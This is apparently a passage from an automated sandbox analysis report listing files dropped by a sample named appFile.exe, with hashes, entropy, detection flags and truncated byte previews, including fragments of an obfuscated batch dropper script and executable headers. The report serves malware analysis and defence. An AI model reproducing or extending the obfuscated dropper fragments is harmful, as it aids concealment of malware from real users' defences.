....@....j@XPV....I..]....2..3.@.C......H..\|9...D9.t..@8.`...\|9...D9.t..@8.@..V..`.I._^3.[....U..E.W...p.P....

C:\Users\user\AppData\Local\Temp\Remarkable

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	133120
Entropy (8bit):	4.756981611361345
Encrypted:	false
SSDEEP:	768:/ex/SGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EYr8/:2dKaj6iTcPAsAhxjgarB/5el3EYrq
MD5:	3535CC5FBCBF2958B3B297BD69BF47CD
SHA1:	2520C22125F63826A8F09692A5BFE68EFF762E44
SHA-256:	961947DA8BF4701219847F9666E659E9CEA412882CAD2AFF579BE88818BB6019
SHA-512:	8DAD4DAC154A0225A7162111574105BFED10B4F36A0941EE76EEE2D76A826D7FF60AAE039CD53DC154729092BDA1E1AF02011699FE08084D6E7F81A72ED3BDA6
Malicious:	false
Preview:	...............r...............r.....r...........r.r...................r.r.....r.r.......r.r.r.r.r.r.r.r.....r.r.r.r.....r...........r.r.....................................r.r.r.r.r.r.r.r.r.r.....r.............r.r.r.......r.........r.r.r.....r...r.....r.r.r.....r.r.r.......r.r.r.........................r.r.r.r...........r.r.r.......r.........r.r...r.r.r.r.r.r...r.r.r.r.r.r.r.r.r.r.r.r.r.r...........................................r.r.r.r.r.........r.................r.......r...............................................r.................................r.r.r.................r.......r.........r.r.r.r.r.r.r.....r.....r.r.r.r.r.r.........r.r.....................r.r.r.r.r.r.r.r.................r.......r.................r.......r...............................................r.....................r...........r.r...................r.......r.........r.r.r.r.r.r.r.....r.r.r.r.r.r.r...r.........r.r.....................r.....r.r.r.r.r.r.r.r.r.r.r.r.r.r.......r.................r.......r........

C:\Users\user\AppData\Local\Temp\Requirements

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997750312086192
Encrypted:	true
SSDEEP:	1536:+uxKqXB1AZIrADNwtT4ZmkUyU9dtRxcmHBrDdWMj4EKojcfsYXdYeD5mLtrLx8:9HB1G+tUQtRldWMj4QjcLNYeD5uK
MD5:	408758400806F3EDE15B962E264A944B
SHA1:	68C12283BB13F821FD5A13190D98DED41680D0B4
SHA-256:	4F5AD43ADA7AE9EF32489CFCBD529BA03C90D842177AD85B0E49C375C1133A47
SHA-512:	8D87FB16E15B5C80AF66190E2C9664361D9D1CD0FF493A2AB7286FCDCF0B8A125FB5BE983A3C3FAACA178BCE890899E7F205EB458D569E6741A0BCD2CE0EE0E4
Malicious:	false
Preview:	...{.b .r%^2( M...K{.S..;..4..N..i8.U_.....A.$3.9...yg.&\|O="A....pG..z.......X....h..L..9..H...5.@.\q"1.l.!.....Y1@.{.$K...P.....u?.4X.q..)+....J...._..zo<t..... .bx.D.... ..l..wT....$.}5..9.\)..E"IK....`..{P.z.J.kT#...~....b.U,w..9R3..eb..o.;8...&.C..(.,...is.u.kB.. ..4nG.y.gS..:/.4....."G6.......K..2..R..AJ..\|.8...9...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.F.'.F...h..............V..{....V..{...kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..q.P..,P..Myn.2..t.W....V`.........>.V...h...V..{...m.........8.5...x..2).U.j....2>..#.~...........i.1.\|.X=.h...F,.G.."=.....a2I.v...*.pW.EMcY.P.4..l.}......... ........yd.{..Q.'..E...G.=.R.14kv..J.Hu.E_hNV.)y.lL...CM.

C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\723356\Ted.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12178693
Entropy (8bit):	7.975939142643874
Encrypted:	false
SSDEEP:	196608:Ex6Xhm3naEJp1N1x7JpGTRQTrwlZJdO6T+nAIy986TeaZcSSFDie:Ex6Xw3RJbdVpGmT8ldkn+8sZcSK
MD5:	1EBAB72F39900F4DB9D82A4850B32ABD
SHA1:	8A24CC7CFDC1EA67184DA0D82E1D88E734FCEBD4
SHA-256:	AD09505CF7A0063496FCAD806C5D7F4949593A8F77EB6DCF78C3B7331F5F6C0B
SHA-512:	8644E54AF04B4A070ADDFDCCD62F45F6078A815D898B2319AFBB6EBF4D86FFD61F654E1E4310CE82634D9535C810AAFEFCAAD76CEA1301DA155D16E53A3AD645
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.................................0O....@......@...................p..q....P..........................P(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\Serious

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	81925
Entropy (8bit):	6.979639064635769
Encrypted:	false
SSDEEP:	1536:IWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:IWy4ZNoGmROL7F1G7ho2kOb
MD5:	6A4C82D9AD4C5E7F81C99546EB64D331
SHA1:	339CD7429C426E86A088A539B054DECC4E229F71
SHA-256:	A1BEC3AEFBA6E6E2244A1FF5F9529400914A60CEDD6A190BA7B0220AB1472578
SHA-512:	1D4EC3B9441FC10C51A9AC2AB5E403E0605E249F287A804CF47848E57CFAA45629A3E75B3D6ADBFA7318C06070FD82AA58650C276AAD84ECA4EDA4F713E9D1DC
Malicious:	false
Preview:	...v.......^..............v..........................a..........i...........................w......o..........._..........n..._..............m...............s...t...........v..................................}...................f......r.......}..........`.............q.................i...h............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Shelf

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	93992
Entropy (8bit):	7.997999527028523
Encrypted:	true
SSDEEP:	1536:ABgGV+8wTYC6OrH8gLm6lMZ3ScOJaa8olaZZIrQOKqL6c4M8WfJ1:ABL/k8gLbl437OJL8oX8U6cl93
MD5:	0139E23CC911EDE463F44FA26F3657CE
SHA1:	DB1DB1FB6AAB61305206F7C7D49EC8048798EC9E
SHA-256:	3AB9C282835F7B1F065D8C6619B8A01759F23D1B8169AF4D4E2611608BC5FEBA
SHA-512:	1008DECE973CF7642F7E618F5CEEA8FA67CE05B70B9662541D86ED9DDA032C9660048FF89D9088C12422C28BE6108A04F0B67C4BB9A303C7173A5F7E1D4AB513
Malicious:	false
Preview:	...._...k..l...hJ...........'M.4.`.\|..Y.b,~...y.s.c.8..v.L...E.$.4'p=..2^.;.R.h._.....\|........\|..{)<..0..h.......3I.~.n.xXf.G.......Q..$.qf3.}.c..c....z........8E..=zL...."...B...eV...D...L..Q..h.Ms.\|.$I..4... .$..y.LYa&.......G.?J.TT./..0g..~?.B..Wn.A.--...>.2?u...QB.wL.~...Q.Q..2....:1-.o..`.:.Ke...B,..OE-..4. <'...........@....y5X2.7ZU6.V./..^~.f`hXf....X.../0O&..._9Y....?B...I.gC..Iy..l.\|...LI..Z...C.GX.N.[+..D......8.f..]q.]d.$.~y..<..e..T..HuH...B.....4^..,........m.i..C."....]...s.$.k..r..%...B....5..!...z$....F.D+..........G....J.\\|..H..x.O......2.3..O67n.V!z.@..8....~2x4g..k(.Zsn[.yU....K....b.q........I(.QL.BX.\|v'..lU.p..L.PY...e.(..2..[%.3p9).@B.pMl...3...J =..3n..x..EL[(H,..^.R.f.}qiQ..r.l...W...........t....$.....$]....(..X^...kp.tj..^.X@..i.:$..?5;iMGy../.K....~..g....\|.Ui.......-..B.?..u+....K...946..[j.....~ .!.5...@.M..SX;.\...X..wB...G. .S...s(.s`..;st.m..%.........<...-.P...^=...,....i....e".;J.....$T.......{...E.DQ%

C:\Users\user\AppData\Local\Temp\Shore

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	ASCII text, with very long lines (1378), with CRLF line terminators
Category:	dropped
Size (bytes):	30823
Entropy (8bit):	5.088078693727599
Encrypted:	false
SSDEEP:	768:hTTI2Sl3sEuf+ZtAUdptK7+witRglsv02m4BPgFGuue9O:9fobi+tUszv5kNO
MD5:	F129171E4688C35F8066A1474CEC7452
SHA1:	F52DF1C32608804DCDF74704F9269AA4AE804A0A
SHA-256:	99B24D761E541373E3D394BDA82DA43232323E068ACB36C3F3DDBE29A902B5C3
SHA-512:	D11EA8A26BF33CE0BF970676CB30A4741B2D0E27116F3A378C11039940EB8320F88491F3305321D3F495726248D4300DD65FF0441A17AEF66460E5C881F26997
Malicious:	false
Preview:	Set Interpreted=h..MtCompromise-Generators-Narrow-..WhYGolf-Ciao-Knights-Grades-..vyInnovative-Bidding-Including-Moon-Vincent-Nfl-Opportunity-..BarsMissing-Cr-Oil-Reference-Released-..erwIGap-Kitchen-Psychological-..YwAdaptive-Exit-Wrapped-Hc-Dans-Empire-Layer-..ENAlexandria-Modules-Concluded-Otherwise-Sophisticated-Single-Utils-..IvAeHs-Hobby-Bulk-Contrast-Intervention-Tf-..UmEAdaptation-..oZdIntel-Export-End-..Set Fraser=X..FbRemedy-Joshua-..VGThFired-..HiwQLiteracy-Overhead-Delays-Accepting-Audio-..uNWInns-Genesis-Claims-Backgrounds-Presidential-Dpi-Pee-Sweet-..onpSpots-Regulatory-Asbestos-Browsing-..Set Password=n..mCCursor-Sugar-No-..cyxEarrings-..krdvResort-Confidentiality-..KCbVBacked-Printer-Buf-Reference-Website-Watt-..dASiOscar-..IPbxSheets-Physician-Churches-Fundamental-Ide-Lady-..iCSandwich-Yn-..fgBYFw-House-Broken-..JKClients-Extra-..Set Skirt=T..DdIntroduces-..tTXaDiscrimination-Had-Ought-Commitment-Grow-Complaints-Polished-Textile-..OWXGProtection-Goals-Baltimore-..MvOLe

C:\Users\user\AppData\Local\Temp\Shore.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1378), with CRLF line terminators
Category:	dropped
Size (bytes):	30823
Entropy (8bit):	5.088078693727599
Encrypted:	false
SSDEEP:	768:hTTI2Sl3sEuf+ZtAUdptK7+witRglsv02m4BPgFGuue9O:9fobi+tUszv5kNO
MD5:	F129171E4688C35F8066A1474CEC7452
SHA1:	F52DF1C32608804DCDF74704F9269AA4AE804A0A
SHA-256:	99B24D761E541373E3D394BDA82DA43232323E068ACB36C3F3DDBE29A902B5C3
SHA-512:	D11EA8A26BF33CE0BF970676CB30A4741B2D0E27116F3A378C11039940EB8320F88491F3305321D3F495726248D4300DD65FF0441A17AEF66460E5C881F26997
Malicious:	false
Preview:	Set Interpreted=h..MtCompromise-Generators-Narrow-..WhYGolf-Ciao-Knights-Grades-..vyInnovative-Bidding-Including-Moon-Vincent-Nfl-Opportunity-..BarsMissing-Cr-Oil-Reference-Released-..erwIGap-Kitchen-Psychological-..YwAdaptive-Exit-Wrapped-Hc-Dans-Empire-Layer-..ENAlexandria-Modules-Concluded-Otherwise-Sophisticated-Single-Utils-..IvAeHs-Hobby-Bulk-Contrast-Intervention-Tf-..UmEAdaptation-..oZdIntel-Export-End-..Set Fraser=X..FbRemedy-Joshua-..VGThFired-..HiwQLiteracy-Overhead-Delays-Accepting-Audio-..uNWInns-Genesis-Claims-Backgrounds-Presidential-Dpi-Pee-Sweet-..onpSpots-Regulatory-Asbestos-Browsing-..Set Password=n..mCCursor-Sugar-No-..cyxEarrings-..krdvResort-Confidentiality-..KCbVBacked-Printer-Buf-Reference-Website-Watt-..dASiOscar-..IPbxSheets-Physician-Churches-Fundamental-Ide-Lady-..iCSandwich-Yn-..fgBYFw-House-Broken-..JKClients-Extra-..Set Skirt=T..DdIntroduces-..tTXaDiscrimination-Had-Ought-Commitment-Grow-Complaints-Polished-Textile-..OWXGProtection-Goals-Baltimore-..MvOLe

C:\Users\user\AppData\Local\Temp\Sound

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997085946261103
Encrypted:	true
SSDEEP:	1536:etE3bNAZ3AnT/wiUH4lNh2/x7e7lw6fS2BLf2jkHY8:et+6pAnciUS/2YJnz2jkHY8
MD5:	7B793FD613F7C5CB7BC335CD088FB2E9
SHA1:	3C40BDC5FBC8CEFD4BDC184A1A72819FF0B0F259
SHA-256:	5F2804AF243F7838DFF5E7ACCAD2B685E75628276465053ECB7E7800A09119C8
SHA-512:	ED80AAFD1B26FD5EDB1B689BB00179FBC2D41F0CF3C1D63CCF9297C81F0B7166C26C807DA71300627F12B27A9D1AE6090BAEBE53A9301C91C004D81275F00DF5
Malicious:	false
Preview:	].B......i-..(....c8.SP..<....L...x....f.d.....vJ.F]...g@$...<..D.....>\...Q....!.....l.N2..To....j...d!...K..z....-G.9...p$A.M.?0-'.7AU...F.\|.....:X.<.j?.L..f.t8."..m..&.p<...J...._.rD..]..-w.{\T{0..{...K.:7.e.....U.x.l.j~.....#.t.-..N._.g..~Q..K.X.n.p..=\.KGv{K.S..J..H..&.x............D..5...Y".n.U.2..d<q..T2.UV.^../Dx!....7.....gcj+.,..z;.ju..j.yy.....4r...+0G...s/!..7E;.K?..k...4k.JG.dA.'.^.0T.Z.:G..\..i/....# .q.)..tA@.....<.S."..l...?%.Lv.G.....0O4.Fj.4.D.Q]..w]...p.J.;...3...b.@\|....%....e.q4.R~..$.....mZ...B..X...}6..`....Q.X.....Y^f-.g..mJ.J.(L....4k.<>..(.m.+.\|.b.Os......\|[aqb.H<..........WW..5\|.D........d.f.o...._U..zG.......u\.#?~5.a..\|..Rm\;z>Rl......o>R...9......,.IZ>.=..uLn.$<x.U.x:$..UZ../kp.......8Cm.i...,.(....O.&}RD...l...!p...w..c...z6.;T..).7vW.[. .1.....(..`.,Yk...P..S+.\..J:.Vm.i.W.=r...\...0...t.....a..e.....A. C.H`..x..$.D.Q@6.1..>.Vm ...id9&.G...qE..1....[.6c.&D...G...{h...b........n{.?'+:...E"ym\|..\.VD.......7...

C:\Users\user\AppData\Local\Temp\Tmp

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	6.584018665338963
Encrypted:	false
SSDEEP:	1536:/i8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7QnswIPumV3BxZxu6/sPYcSA:u0Imbi80PtCZEMnVIPPBxT/sZj
MD5:	B5F8CAFF35F3F66AEF7ADB0F4E305850
SHA1:	C1C5EB3D8C690D25044C6B341E7C768BAB72B1CE
SHA-256:	72A4C485593FC7EFA24A293E7833CACB89BB98089AFE24344B40B976F95A07C9
SHA-512:	51F92D7A688A33469A737D945C3E1FE1535281B2DB69461649D5751564C7806D8EE37758804AC1E42991C2D020AD9AAD0D6F8DA4869578CEECF24FC7B0A2E9C3
Malicious:	false
Preview:	t.....L.....3...M.......E.3......U.U..........u...t.j..Z..Yj...x..;.t....t....u#.C..E.c..;.u;........E...........;.u"k.\|'J....k..'J....E.;.t%.`.........L....j Y+.3...3...L..M...E......1....}..uk;.u6.W...p.W.M.....I..U.Y.+j._.u..].E.E.}..t.j..Y..Y.V.M.....I..U.Y;.t....t....u..E.C.;.u..`W...M.H.3...G....U..Q.GW...HL.M..M.QP.X...E.YY.@...]..U..V.u..........F.;...L.t.P.ZS..Y.F.;...L.t.P.HS..Y.F.;...L.t.P.6S..Y.F.;...L.t.P.$S..Y.F.;...L.t.P..S..Y.F ;...L.t.P..S..Y.F$;...L.t.P..R..Y.F8;.(.L.t.P..R..Y.F<;.,.L.t.P..R..Y.F@;.0.L.t.P.R..Y.FD;.4.L.t.P.R..Y.FH;.8.L.t.P.R..Y.FL;.<.L.t.P.R..Y^]..U..V.u...tY..;...L.t.P.aR..Y.F.;...L.t.P.OR..Y.F.;...L.t.P.=R..Y.F0;. .L.t.P.+R..Y.F4;.$.L.t.P..R..Y^]..U..E.SV.u.W3......+......;.....#.t..6..Q..G.v.Y;.u._^[]..U..V.u.........j.V.....F.j.P.....F8j.P.....Fhj.P..........j.P.\|..........Q.........{Q.........pQ........j.P.M.........j.P.?.....D......j.P...........j.P. .....L...j.P.......T.....Q....X.....Q....\.....Q....`.....P

C:\Users\user\AppData\Local\Temp\Ul

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997845707987516
Encrypted:	true
SSDEEP:	1536:XiWtyZ0HAl6cz/vrDbbsS++od0tRdCAqEztFsb9nEikPaH4Dsxcxbjt/q+:xyZaAlFLD/s1+oWztFseiH4DqcxNi+
MD5:	8849DBB726C66F7297184006A34D526D
SHA1:	5DAF127A5370D757BC73EFFE423712941A9FCADA
SHA-256:	558AFF090F772976C7BAC34FEE225F1AEAEEB47B9342132C1085F78E9350CFC2
SHA-512:	3794EF1A9D5AA0C308D7F6FAC34A1C431D74EF277357EFD9F09D194F1C72FFF5A4DA1F9FB4F23BD882B398C1363927F1E802366B27755DE1B998107B0B484AB2
Malicious:	false
Preview:	B...F...iKY..\|U...)...'6.....J-L...$...!.WU....Gn...d.,].6..Sv........r....8..>.e../]...<t<.ie.Ij$.;..X..[........=x.(......m.`..y..W..........9.......HjJ/...33..Sb...0.^...;...F. ............i...r..M.y...-.mE.J_..ex.....7...<...(??T"E5%.e]0...n...K.4..k.y...`...+,.p.{.P.xW..@........./VR...W..,....2.[.o.6....M4.......Gp......E...A....7./...r.d.>..w..f3\|..7.w...L!T....]..LJ..O......&.g...qM.".c .m.W...#..>.s..[.....`...T.........xT>..M.../c..%...}c.... .....Y.e51.b..U../.[.4.3.I.>w.ly}.RM\pd..}#nQ.W.......N......Y...#l..U.y..E........7...'.I.O~.}S..7.....g+cD.+5...{.@.\...3}..`.?O...<...T......$.....rC........?..%..C.....v...'zp.3.<}.!..V..#..QF.@..u.Jcotr.A.....T..w?..8t....K..;.....9\..Y..E.v,..r..X..L2d...R...&.....4@Z..f....-.5....67r.}...e..}..;......ci..,.......X>..W..H .f~..d...-&i.. ..`.4V.k.%.u.T-....L.....Z...@.;...*.qmz..i$.."......4....\JDOi]..7J..T.B...F...........C..t..8....2~.~.p....9p..<.t.[6.XE.Q..D.....1.s..

C:\Users\user\AppData\Local\Temp\Vista

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.9961602707410995
Encrypted:	true
SSDEEP:	768:Q0RWQIsFbAwK43X5cIVL2pMaSSH1OYVfV54JEyxciiyA5n6Ho5R7aiR4szhho:QRcbnK4H5cAwfH1dVfIJlWFh6Ho5ReUu
MD5:	F35E19B54DE59EE1BA24FF4157BC9FF9
SHA1:	6E81BD02C534321B49D4E3B2EE5FE3E0ED8DDE03
SHA-256:	D889699E597CFB9BA3FD5FC0E807F9E9B4047E350014331B3D1A335F8C1C64F4
SHA-512:	FE3C0750593D858A8CC9FE15DAC08FA241A272A1696D06BF62272A7BF820DBA391E2307BF61574CD8A090DDD5F4BB25DA68DA5CCF6C2BA0EEA12A27497A5E802
Malicious:	false
Preview:	m.CK..P....L.^J.L.Kj.........:\|Xq~...F#.O.L4.+..........%........)...BU.).F.l..o.\|..=.C../^..\|...g..'d."{.......%oO...m../..G........V....V..w.P.G.......x..kP.IU....f..@...c.V.Od...pc.........D..lp..(..C....7....m.d13.a..O.7.n..o."qS.Y!.+.r.?......~.....,....s........f.2........}W0.0i.k..\.w[W.7Y3V.6(..`.sE.&5..Q.......Z.J.3....2#.'...Px..Y..'....yM...5{.Q..i..k.A.F..;....YaJ...Zsk.<c..$..,... ./.,...Nwy.La./..VC.G....3H.e.Bd....6.Rk..fR.,p!Fb+.}...>.+5.../...q{..G.U.tto..I._.E.f.....<.6.....`.).;..e:.7.P......SC.....jS#.(S.-...-.........RLVF...6..<9].?R.,.w.%..6..C.!....;.......(...#....q...Wkv..X/0M..R+..;....:....".*....A.$.......j.""..+..cf...f..C'.3y..f....(....c>...oGJ.r.f......X3.(C....N8.a(mf..7...SuL....)N.VVx.......8.:y......oQ.N.G..n\.Q.{.j...6...v......_.^......o..w2?.._T.<^.<..g.....~.4)...h...!j...E.HiD........3H.......v.......rM.....z....4.Y..=..O.a..5...l..1..(......t....w&...x.k0.......e....1....E....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qo4itofv.4jt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbrx50i5.fd0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
